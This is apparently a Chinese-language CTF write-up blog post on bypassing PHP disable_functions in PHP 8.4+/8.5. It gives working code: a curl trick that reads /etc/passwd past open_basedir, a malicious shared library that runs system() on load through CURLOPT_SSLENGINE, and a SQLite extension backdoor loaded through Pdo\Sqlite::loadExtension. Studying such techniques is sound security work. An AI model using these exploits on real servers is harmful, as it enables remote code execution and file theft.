Skip to content
Kurisu
Go back

PHP 8.4+ 绕过 disable_functions

WebShell 免杀篇讲过”拿到 webshell ≠ 拿到 shell”:disable_functions 禁掉 system/exec 后怎么打?这篇复盘 XCTF Final 一道 PHP 赛题(PHP 8.5.0RC3)。

0x01 原理先修:disable_functions 到底防什么

它只禁 PHP 语言层面的内建函数调用,管不到 C 层面;绕过不是恢复被禁函数,而是绕开解释器、在 C/libc 层调 system()——外部扩展加载(ld 任意 so)。

0x02 非预期解:curl 的两次”没修干净”

第一次(PHP 8.3):官方只 ban 了 file://,但 CURLOPT_PROTOCOLS_STR 设 "all" 能重开协议——绕过 open_basedir 读任意文件:

$ch = curl_init("file:///etc/passwd");
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");
curl_exec($ch);

官方修复把 all 也上 ban 位——只堵了”协议”这一面。curl 加载动态库本就能 RCE(HackerOne #3293801):CURLOPT_SSLENGINE 的 so 会被 dlopen,__attribute__((constructor)) 加载瞬间执行:

#include <stdlib.h>
__attribute__((constructor))
static void rce_init(void){ system("whoami"); }
// g++ -fPIC -shared -o evil.so 1.cpp

$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE, "/tmp/evil.so");
$data = curl_exec($ch);   // 加载 so → constructor 执行 → RCE

这条链 8.5 官方镜像打不通、比赛环境能通——版本与补丁的差就是题眼。

0x03 预期解:Pdo\Sqlite::loadExtension

① 写”SQLite 扩展后门”:so 入口须叫 sqlite3_<名字>_init,加载时被调用;逻辑为”读文件执行”(/tmp/1.txt 存在时取首行 system):

#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1;

int sqlite3_exploit_init(sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi) {
    SQLITE_EXTENSION_INIT2(pApi);
    FILE *f = fopen("/tmp/1.txt", "r");
    char buf[512] = {0};
    if (f && fgets(buf, sizeof(buf), f)) {
        buf[strcspn(buf, "\r\n")] = 0;
        if (strlen(buf) > 0) system(buf);   // libc 层调用,disable_functions 无感
    }
    return SQLITE_OK;
}
// gcc -fPIC -shared -o /tmp/exploit.so backdoor.c

② 触发加载:把 so 路径传给 Pdo\Sqlite::loadExtension('/tmp/exploit.so') → C 层 system() → 结果落盘回读。

0x04 复盘三点

  1. 边界=解释器边界——“加载 so”类绕过(curl SSLENGINE、SQLite 扩展、ImageMagick/FFmpeg)都是让 C 层调 system;
  2. 单点修复必留缝,要看”同类面还有几个”;
  3. 新特性=新攻击面,Pdo\Sqlite::loadExtension 文档滞后。

相关旧文


Share this post:

Previous Post
针对真实目标的 SQL 注入:打崩 WAF 正则
Next Post
PHP WebShell 免杀:查杀引擎原理与绕过手法